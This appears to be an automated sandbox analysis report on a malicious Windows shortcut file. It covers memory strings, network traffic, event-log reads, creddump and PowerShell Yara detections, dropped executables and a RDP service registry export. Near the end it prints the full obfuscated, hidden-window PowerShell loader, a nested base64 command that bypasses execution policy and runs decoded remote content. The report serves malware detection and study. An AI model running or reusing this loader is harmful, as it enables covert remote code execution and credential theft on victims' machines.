Source: svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054818863.000001B556329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5366938746.000001B556353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054818863.000001B556329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054818863.000001B556329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054818863.000001B556329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054818863.000001B556329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 00000012.00000002.5365566202.000001B555B02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&am
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000012.00000003.4055507114.000001B55630E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055445103.000001B55630E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000012.00000003.4054818863.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055066251.000001B55632C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054818863.000001B556329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 00000012.00000002.5363975114.000001B555A2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/Res
Source: svchost.exe, 00000012.00000003.4055140927.000001B556340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055018800.000001B55633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000012.00000003.4055140927.000001B556340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5368653483.000001B556A77000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4055018800.000001B55633B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364276192.000001B555A5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 00000012.00000002.5363975114.000001B555A2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.4067023578.000001B556352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srfs
Source: svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 00000012.00000003.4054972970.000001B55634B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srfrf
Source: powershell.exe, 00000002.00000002.3895073118.000001A0E3B81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3895073118.000001A0E3CB8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.3880486051.000001A0D4FF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4198168194.000001BAD2D25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4000632893.0000027913359000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4035721658.0000027921D86000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4814981767.000001C032E27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000002.00000002.3898320173.000001A0EBC48000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.4206777413.000001BADACD0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.4041179833.0000027929E4A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4891586599.000001C03AE0E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4914809725.000001C03C287000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.5367966996.000001B556A24000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000014.00000002.5363571234.0000026463B1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: powershell.exe, 00000007.00000002.4000632893.0000027913115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: svchost.exe, 00000012.00000002.5364163021.000001B555A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443

Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.20:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.20:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.20:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.20:49763 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\myRdpService
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security

Reads the System eventlog

Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\myRdpService
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Windows\Temp\myRdpService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_6280.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 45.2.myRdpService.exe.7ff7b5490000.0.unpack, type: UNPACKEDPE	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe
Source: 0000002D.00000002.5370794697.00007FF7B5996000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe
Source: Process Memory Space: powershell.exe PID: 3152, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6280, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: svczHost.exe PID: 9124, type: MEMORYSTR	Matched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\Temp\svczHost.exe

Jump to dropped file

Uses regedit.exe to modify the Windows registry

Source: C:\Windows\Temp\myRdpService.exe

Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\file

Source: Joe Sandbox View	Dropped File: C:\Windows\Temp\myRdpService.exe 5744321DFC2240023EF89A8D3A4B57C635FEDFEF0E265F1C8F7971AA9F635C34
Source: Joe Sandbox View	Dropped File: C:\Windows\Temp\svczHost.exe B1D69CBC0A2D13B89500D37726AD9E01817C8890262E3CE4A561F82B63708B9A

Source: svczHost.exe.12.dr

Static PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3679
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3632
Source: C:\Windows\Temp\svczHost.exe	Process created: Commandline size = 2904
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3679	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3632
Source: C:\Windows\Temp\svczHost.exe	Process created: Commandline size = 2904

Source: amsi64_6280.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 45.2.myRdpService.exe.7ff7b5490000.0.unpack, type: UNPACKEDPE	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump
Source: 0000002D.00000002.5370794697.00007FF7B5996000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump
Source: Process Memory Space: powershell.exe PID: 3152, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6280, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: svczHost.exe PID: 9124, type: MEMORYSTR	Matched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump

Source: classification engine

Classification label: mal100.troj.expl.evad.winLNK@82/63@1/2

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8032:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2564:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8588:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1952:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6460:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2564:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5916:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8972:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5364:120:WilError_03
Source: C:\Windows\Temp\myRdpService.exe	Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6460:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7660:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4588:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1952:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6140:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8032:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7964:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7416:304:WilStaging_02
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\STARTUAC
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7660:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:9136:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2480:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8588:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5364:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6132:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4588:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6140:304:WilStaging_02

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3u1ahjv2.cb0.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: m9c7iq9nzP.lnk

ReversingLabs: Detection: 28%

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /v /k "powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEA